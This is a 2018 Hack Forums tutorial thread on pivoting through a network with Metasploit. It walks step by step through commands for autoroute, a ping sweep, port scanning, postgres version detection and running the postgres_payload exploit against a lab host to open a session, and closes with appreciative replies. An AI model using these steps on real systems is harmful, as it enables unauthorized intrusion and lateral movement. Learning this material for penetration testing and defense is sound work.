Hack Forums
pivoting using metasploit // MEGA tutorial - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: pivoting using metasploit // MEGA tutorial (/showthread.php?tid=5867995)



pivoting using metasploit // MEGA tutorial - Last_viking - Jul 30, 2018

[Image: WICiPAH.png]

introduction

what is pivoting ?
pivoting is a technique moving  inside around a network and gaining access to other devices on LAn using the current foothold



image below
Spoiler (Click to View)
the above image discribes functionality of how pivoting works


-- steps to be taken to accomplish pivoting --

1.adding route to sessions through meterpreter this module enables pivoiting


PHP Code

<?php 
autoroute 

PHP Code

<?php 
autoroute 
-s 192.168.110.1/128 
cidr notation



2.determining devices connected on lan

PHP Code

<?php 
use post/multi/gather/ping_sweep 

pingsweep output

[Image: 0jxYCV7.png]

3.scanning targets using tcp_fast scanner


PHP Code

<?php 
use auxiliary/scanner/portscan/tcp 

PHP Code

<?php 
set RHOSTS followedbyip
/or subnetmask 

scan output

[Image: Lv5vpqL.png]

this machines has some vulnerable services.
listed below
  • portnumber 25 runs vulnerable smtp service
  • portnumber 5432 runs vulnerable postgresql service
  • portnumber 21 runs vulnerable proftpd

4.exploiting vulnerable services to gain control on insecure machine

finding postgresql service version

PHP Code

<?php 
auxiliary
/scanner/postgres/postgres_version 

PHP Code

<?php 
set RHOSTS 192.168.110.170 

PHP Code

<?php 
run 
# to run to scan

output below

[Image: 7RyPTXp.png]


exploiting postgresql using postgres_payload  

PHP Code

<?php 
use exploit/linux/postgres/postgres_payload 

PHP Code

<?php 
set RHOST 192.168.110.170 

PHP Code

<?php 
set ExitOnSession false 

PHP Code

<?php 
exploit 
-j 

[Image: fC7Yp7S.png]

exploit compeleted

session created

[Image: w50H96p.png]

more information on exploit


ending up

some more pivoting tutorials

https://hackforums.net/showthread.php?tid=5426811 created by Qismon


frequent errors faced by users

PHP Code

<?php 
[-] Handler failed to bind to 192.168.110.169:4444:-  -
[-] 
Handler failed to bind to 0.0.0.0:4444:-  -
[-] 
Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444) 

soultion:- lsof -i -P | grep LISTENING
this error is caused by RUBY service failed to restart


RE: pivoting using metasploit // MEGA tutorial - __Digital__ - Jul 30, 2018

Great thread, thank you so much for helping the community


RE: pivoting using metasploit // MEGA tutorial - ItsTragic - Aug 8, 2018

You can also use socks4a proxy module in metasploit to create a socks proxy for pivioting. This allows you to use non metasploit applications such as Firefox, burp, etc. Only works for tcp since socks is tcp.


RE: pivoting using metasploit // MEGA tutorial - c0rrupt3d - Aug 10, 2018

This helped me a lot. Thank you br0.


RE: pivoting using metasploit // MEGA tutorial - SIM-3391627 - Oct 16, 2018

You're improving the community and teaching many. Thank you for this information.

From what I'm seeing this isn't a shit way of doing things. Great Job!


RE: pivoting using metasploit // MEGA tutorial - CyberStrike - Oct 17, 2018

Very well written definitely a great addition.